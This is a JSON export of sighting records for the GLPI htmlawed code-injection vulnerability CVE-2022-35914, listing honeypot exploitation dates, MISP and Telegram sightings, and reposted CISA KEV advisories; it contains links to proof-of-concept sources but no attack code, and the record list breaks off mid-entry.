{"vulnerability": "CVE-2022-3591", "sightings": [{"uuid": "4dc46c0e-b8c6-4af9-b51b-451aa8905ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-06-14T21:10:04.000000Z"}, {"uuid": "2e0d4f98-883c-4157-9528-a1a0f3d870f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971772", "content": "", "creation_timestamp": "2024-12-24T20:33:52.749562Z"}, {"uuid": "5bf5bd7e-95fa-499b-8371-fc7bcc558c23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-31)", "content": "", "creation_timestamp": "2025-01-31T00:00:00.000000Z"}, {"uuid": "abb3859e-26d0-4e4d-936e-2b678665d41f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-29)", "content": "", "creation_timestamp": "2025-03-29T00:00:00.000000Z"}, {"uuid": "6cca2ba8-1144-4a1f-84fa-02c65f964b9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-29)", "content": "", "creation_timestamp": "2024-12-29T00:00:00.000000Z"}, {"uuid": "f780c5e1-6c37-4679-983f-7594e24bc8da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-16)", "content": "", "creation_timestamp": "2024-11-16T00:00:00.000000Z"}, {"uuid": "1a05fabd-928b-44a4-ae73-39fb3b8e7a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "66705497-176b-457e-a72c-968fdc0d2a3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-01)", "content": "", "creation_timestamp": "2024-12-01T00:00:00.000000Z"}, {"uuid": "beb0cca5-b8fb-41cc-8361-4ec2dd65e447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-28)", "content": "", "creation_timestamp": "2025-01-28T00:00:00.000000Z"}, {"uuid": "795b59dd-bf70-4845-8491-8d80e2ea5f82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "91dbcd89-f680-4e3c-b659-c53315835e53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "78c731f3-0d13-4f0f-97a6-331d7f68b82c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://gist.github.com/AssassinUKG/43c3c11309ca52f136097fa0feb76308", "content": "", "creation_timestamp": "2025-03-26T21:55:01.000000Z"}, {"uuid": "7189021d-a61e-458a-be79-08cb28a03141", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-10)", "content": "", "creation_timestamp": "2025-02-10T00:00:00.000000Z"}, {"uuid": "cb475d53-53b6-4088-a1f4-5080ef6d0641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:47.000000Z"}, {"uuid": "0c93a5fa-86bd-4fa7-9752-34ea76c23f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-22)", "content": "", "creation_timestamp": "2025-02-22T00:00:00.000000Z"}, {"uuid": "825d796a-2d6b-4a2e-8c94-3de4eddd2773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://gist.github.com/Magnus1990P/19031910e1b08b4e2d66ec69dfaf3622", "content": "", "creation_timestamp": "2025-03-13T08:06:43.000000Z"}, {"uuid": "d1c106be-5c9c-4804-8e28-b26b1103179a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:38.000000Z"}, {"uuid": "8fafc89c-3af6-49ed-9daa-e7a8bb0f44a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-17)", "content": "", "creation_timestamp": "2025-03-17T00:00:00.000000Z"}, {"uuid": "c31264ed-34e0-4513-b4f8-36714ebffa7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-01)", "content": "", "creation_timestamp": "2025-03-01T00:00:00.000000Z"}, {"uuid": "50ec7b7a-48cf-43ef-ae72-69ce201e679f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-18)", "content": "", "creation_timestamp": "2025-05-18T00:00:00.000000Z"}, {"uuid": "8674fa83-bd4e-4102-a113-6c6fc6a8be6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-11)", "content": "", "creation_timestamp": "2025-06-11T00:00:00.000000Z"}, {"uuid": "e96779a6-0b0b-42cd-be4a-00faad7e7ab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://gist.github.com/z0rs/219324ffce9e88bf36782c3cfc1a11c3", "content": "", "creation_timestamp": "2025-04-17T18:41:24.000000Z"}, {"uuid": "f2df6678-faa6-4462-a869-2ea3f2e5c3e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-30)", "content": "", "creation_timestamp": "2025-05-30T00:00:00.000000Z"}, {"uuid": "309748a9-0b03-4701-9cdf-0d742fdd2849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-05)", "content": "", "creation_timestamp": "2025-06-05T00:00:00.000000Z"}, {"uuid": "5ec0f9fa-6f84-4cac-8ca7-2d5981945e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-16)", "content": "", "creation_timestamp": "2025-05-16T00:00:00.000000Z"}, {"uuid": "531ca8ad-fcc4-42d9-88a3-be18c9d96a96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-26)", "content": "", "creation_timestamp": "2025-04-26T00:00:00.000000Z"}, {"uuid": "3a0c7ff5-9a90-4abe-ad61-0fcc78cd079c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-26)", "content": "", "creation_timestamp": "2025-04-26T00:00:00.000000Z"}, {"uuid": "bd33a9ba-cd8f-4246-aeb4-8b5a33913f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-08)", "content": "", "creation_timestamp": "2025-06-08T00:00:00.000000Z"}, {"uuid": "d7bf60a2-71e2-4469-98fd-332e74efa22c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-24)", "content": "", "creation_timestamp": "2025-05-24T00:00:00.000000Z"}, {"uuid": "846329fd-75fd-4014-974f-8f07f04a87ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-27)", "content": "", "creation_timestamp": "2025-04-27T00:00:00.000000Z"}, {"uuid": "713c6eff-fce3-4938-aec8-6322bc148484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-04)", "content": "", "creation_timestamp": "2025-05-04T00:00:00.000000Z"}, {"uuid": "60de578f-e9ee-4813-8f7c-1b4e15d6e4b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-07)", "content": "", "creation_timestamp": "2025-05-07T00:00:00.000000Z"}, {"uuid": "b3a5a502-6eca-49fc-9c0d-8a2cf6519f64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-07)", "content": "", "creation_timestamp": "2025-05-07T00:00:00.000000Z"}, {"uuid": "14b839ed-6869-4b07-a971-2a09b9e15157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-27)", "content": "", "creation_timestamp": "2025-05-27T00:00:00.000000Z"}, {"uuid": "8622f9ea-1013-4a97-aab1-65c6c706926d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-16)", "content": "", "creation_timestamp": "2025-07-16T00:00:00.000000Z"}, {"uuid": "2bedf906-7178-473c-bdab-518a4184ef55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-19)", "content": "", "creation_timestamp": "2025-09-19T00:00:00.000000Z"}, {"uuid": "02c4e740-8f72-430b-ac86-9c413360acfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-21)", "content": "", "creation_timestamp": "2025-07-21T00:00:00.000000Z"}, {"uuid": "129db3ba-7d3d-4424-b9ba-d41902037300", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-25)", "content": "", "creation_timestamp": "2025-07-25T00:00:00.000000Z"}, {"uuid": "bbf62083-bcbc-4483-ae77-4574f64a8c19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-26)", "content": "", "creation_timestamp": "2025-07-26T00:00:00.000000Z"}, {"uuid": "23adbe76-2b72-4561-96dd-1a15465abf1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-25)", "content": "", "creation_timestamp": "2025-09-25T00:00:00.000000Z"}, {"uuid": "1932ed78-7bf8-40df-b6ab-9735fc994a78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-20)", "content": "", "creation_timestamp": "2025-09-20T00:00:00.000000Z"}, {"uuid": "8f2cc816-bc53-47bf-83f6-6ee76eb86a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-28)", "content": "", "creation_timestamp": "2025-09-28T00:00:00.000000Z"}, {"uuid": "e4b455e6-dd9b-4b5e-ad75-ece05c762f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-04)", "content": "", "creation_timestamp": "2025-10-04T00:00:00.000000Z"}, {"uuid": "36e7cc78-0a16-4d7f-add0-cc8cb3322029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-09)", "content": "", "creation_timestamp": "2025-11-09T00:00:00.000000Z"}, {"uuid": "f2192b7a-c2e3-4027-8863-d5707bff7c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:11.000000Z"}, {"uuid": "5d02dd55-becc-496d-a7c6-77186b15ff0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-30)", "content": "", "creation_timestamp": "2025-11-30T00:00:00.000000Z"}, {"uuid": "f7d06cf9-aaf8-4f3d-97ac-53f31328dc41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-29)", "content": "", "creation_timestamp": "2025-11-29T00:00:00.000000Z"}, {"uuid": "d0c3cac9-ddc7-43cd-bbb6-38b6c033c6c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb", "content": "", "creation_timestamp": "2022-10-24T16:49:00.000000Z"}, {"uuid": "faf52790-0d84-4910-8793-4dfd3ac910f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-13)", "content": "", "creation_timestamp": "2026-02-13T00:00:00.000000Z"}, {"uuid": "a1573dc4-79ed-49be-9103-779419abff44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-09)", "content": "", "creation_timestamp": "2025-12-09T00:00:00.000000Z"}, {"uuid": "65ff97ef-7560-4fc7-8b37-f32a516f7206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-16)", "content": "", "creation_timestamp": "2025-12-16T00:00:00.000000Z"}, {"uuid": "e38bd372-cbfa-4c23-9254-f626a9b6f443", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-30)", "content": "", "creation_timestamp": "2026-01-30T00:00:00.000000Z"}, {"uuid": "6ac37ce6-233d-4d82-9505-58b5dc139b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-11)", "content": "", "creation_timestamp": "2026-03-11T00:00:00.000000Z"}, {"uuid": "7f6f15db-7664-4676-a14e-0fe12f802712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6216c5cf-6f5b-4086-8b14-7157d3d3b5d5", "content": "", "creation_timestamp": "2026-02-02T12:27:04.370526Z"}, {"uuid": "696d4fdb-2f1e-457c-8591-7a5545b6baf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/562", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-35914\n\ud83d\udd39 Description: /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module for GLPI through 10.0.2 allows PHP code injection.\n\ud83d\udccf Published: 2022-09-19T00:00:00\n\ud83d\udccf Modified: 2025-01-07T19:34:04.621940Z\n\ud83d\udd17 References:\n1. http://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawed\n2. https://github.com/glpi-project/glpi/releases\n3. https://glpi-project.org/fr/glpi-10-0-3-disponible/\n4. http://packetstormsecurity.com/files/169501/GLPI-10.0.2-Command-Injection.html\n5. https://github.com/Orange-Cyberdefense/CVE-repository/\n6. https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/POC_2022-35914.sh\n7. https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/", "creation_timestamp": "2025-01-07T20:40:16.000000Z"}, {"uuid": "922a8574-781b-4815-ba55-80b2cc381014", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-25)", "content": "", "creation_timestamp": "2026-04-25T00:00:00.000000Z"}, {"uuid": "3071e4be-3533-4731-9935-5391ea6dcb04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "Telegram/g3_T-KnoIOz0pUrIHIL_bOuX5pt1k7y5h1SteIjIPm2pWQ", "content": "", "creation_timestamp": "2023-10-04T17:15:38.000000Z"}, {"uuid": "0a0d79f8-557a-4226-89dd-9187ec54dc46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/tuxbotandtoolshop/85", "content": "GLPI <=10.0.2 - RCE Vulnerability Checker                    \n#CVE-2022-35914\nOpen Source\nPlease Share Our Channel", "creation_timestamp": "2022-11-02T18:59:47.000000Z"}, {"uuid": "e9045e24-46fc-4dfd-85c4-9e503da03a97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "Telegram/jnL18d3PegnC8FPQiJU_eGrU92uG_tStHPpH-7KpwY-uRtM", "content": "", "creation_timestamp": "2023-03-08T22:48:21.000000Z"}, {"uuid": "3c1f8ceb-445e-43e3-befe-69202e51115b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/arpsyndicate/1460", "content": "#ExploitObserverAlert\n\nCVE-2022-35914\n\nDESCRIPTION: Exploit Observer has 38 entries related to CVE-2022-35914. /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module for GLPI through 10.0.2 allows PHP code injection.\n\nFIRST-EPSS: 0.968630000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-05T10:53:39.000000Z"}, {"uuid": "14663ba1-6479-4cea-b0b6-24eec20d88c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/legendscrewch/2789", "content": "Hacker News:\n\n\ud83d\udea8 ALERT! If you're using MeetsApp or MeetUp on your Android device, you need to be aware of this!\n\nPakistani hackers are using these apps to target political and military personalities in India with CapraRAT backdoor.\n\nLearn more: https://thehackernews.com/2023/03/transparent-tribe-hackers-distribute.html\n\nCybersecurity researchers have discovered a new information stealer, dubbed \"SYS01stealer,\" targeting critical government infrastructure employees, manufacturing companies, and other sectors.\n\nLearn more about it here: https://thehackernews.com/2023/03/sys01stealer-new-threat-using-facebook.html\n\nChinese cyberespionage hackers are targeting high-profile government entities in Southeast Asia with a new version of the Soul modular framework.\n\nLearn more: https://thehackernews.com/2023/03/sharp-panda-using-new-soul-framework.html\n\nCISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.html", "creation_timestamp": "2023-03-09T04:45:48.000000Z"}, {"uuid": "02346495-ba11-4564-9783-e5262f42ac12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://t.me/KomunitiSiber/30", "content": "CISA's KEV Catalog Updated with 3 New Flaws Threatening IT Management Systems\nhttps://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.html\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has\u00a0added\u00a0three security flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.\nThe list of vulnerabilities is below -\n\nCVE-2022-35914\u00a0(CVSS score: 9.8) - Teclib GLPI Remote Code Execution Vulnerability\nCVE-2022-33891\u00a0(CVSS score: 8.8) - Apache Spark Command Injection Vulnerability", "creation_timestamp": "2023-03-08T18:01:32.000000Z"}, {"uuid": "1ccab7d0-e81b-4c00-978c-56a3da4bc726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/anonhamz/2690", "content": "Hacker News:\n\n\ud83d\udea8 ALERT! If you're using MeetsApp or MeetUp on your Android device, you need to be aware of this!\n\nPakistani hackers are using these apps to target political and military personalities in India with CapraRAT backdoor.\n\nLearn more: https://thehackernews.com/2023/03/transparent-tribe-hackers-distribute.html\n\nCybersecurity researchers have discovered a new information stealer, dubbed \"SYS01stealer,\" targeting critical government infrastructure employees, manufacturing companies, and other sectors.\n\nLearn more about it here: https://thehackernews.com/2023/03/sys01stealer-new-threat-using-facebook.html\n\nChinese cyberespionage hackers are targeting high-profile government entities in Southeast Asia with a new version of the Soul modular framework.\n\nLearn more: https://thehackernews.com/2023/03/sharp-panda-using-new-soul-framework.html\n\nCISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.html", "creation_timestamp": "2023-03-09T04:45:49.000000Z"}, {"uuid": "67ac5754-0896-4ac3-850f-7d723a621f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": 